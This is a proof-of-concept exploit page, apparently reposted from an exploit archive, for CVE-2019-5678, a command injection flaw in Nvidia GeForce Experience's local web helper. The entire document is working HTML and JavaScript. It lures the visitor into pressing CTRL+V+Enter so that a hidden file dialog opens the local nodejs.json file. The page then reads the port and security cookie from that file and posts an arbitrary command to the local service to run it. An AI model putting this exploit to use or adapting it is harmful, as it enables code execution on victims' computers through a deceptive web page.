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Nvidia GeForce Experience Web Helper - Command Injection Exploit
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<!-- POC for CVE‑2019‑5678 Nvidia GeForce Experience OS command injection via a web browser Author: David Yesland -- Rhino Security Labs --> <html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> </head> <body> <script> //Send request to local GFE server function submitRequest(port,secret) { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/127.0.0.1:"+port+"\/gfeupdate\/autoGFEInstall\/", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "text\/html"); xhr.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret); var body = "\""+document.getElementById("cmd").value+"\""; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } $(document).on('change', '.file-upload-button', function(event) { var reader = new FileReader(); reader.onload = function(event) { var jsonObj = JSON.parse(event.target.result); submitRequest(jsonObj.port,jsonObj.secret); } reader.readAsText(event.target.files[0]); }); //Copy text from some text field function myFunction() { var copyText = document.getElementById("myInput"); copyText.select(); document.execCommand("copy"); } //trigger the copy and file window on ctrl press $(document).keydown(function(keyPressed) { if (keyPressed.keyCode == 17) { myFunction();document.getElementById('file-input').click(); } }); </script> <h2> Press CTRL+V+Enter </h2> <!--Command to run in a hidden input field--> <input type="hidden" value="calc.exe" id="cmd" size="55"> <!--Hidden text box to copy text from--> <div style="opacity: 0.0;"> <input type="text" value="%LOCALAPPDATA%\NVIDIA Corporation\NvNode\nodejs.json" id="myInput" size="1"> </div> <!--file input--> <input id="file-input" onchange="file_changed(this)" onclick="this.value=null;" accept="application/json" class='file-upload-button' type="file" name="name" style="display: none;" /> </body> </html> # 0day.today [2024-06-28] #